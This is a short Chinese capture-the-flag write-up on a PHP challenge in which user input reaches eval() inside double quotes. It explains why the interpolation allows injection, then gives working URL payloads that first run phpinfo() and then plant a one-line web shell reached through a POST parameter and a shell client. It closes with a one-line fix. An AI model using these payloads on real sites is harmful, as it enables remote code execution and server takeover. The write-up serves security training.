PHP_Code_Challenge-4-双引号导致php代码注入

题目

<?php 
error_reporting(0);
show_source(__FILE__);

$a = @$_REQUEST['hello'];
eval("var_dump($a);"); 

分析

eval看起来和代码执行有关
$a使用$_REQUEST存储,意味着$a可以用gpc传递
eval("var_dump($a);"); 使用了双引号,意味着,会先计算$a的值(也可以理解为先解析$a)再执行eval函数
利用先计算$a的值再执行eval函数这一特点,通过gpc传递给$a特殊的字符串,经过计算后与原本的var_dump();组合造成拼接效果,形成一个新的字符串,使eval函数执行我们预期的php代码

知识点

单双引号

PHP对于双引号包裹起来的字符串要进行扫描计算,单引号则不管内容如何都会原样输出而不会进行计算。
所以'"执行快

eval()

eval — 把字符串作为PHP代码执行
eval( string $code) : mixed

解法

  1. 通过拼接执行phpinfo()证明可行
    /challenge4.php?hello=);eval(phpinfo()
    相当于eval("var_dump();eval(phpinfo());");

  2. 构造输入使脚本成为小马
    /challenge4.php?hello=);eval($_POST[b]
    相当于eval("var_dump();eval($_POST[b]);");

  3. 蚁剑连接

flag

补充

将双引号改为单引号可解决隐患

原文地址:https://www.cnblogs.com/Rain99-/p/12539959.html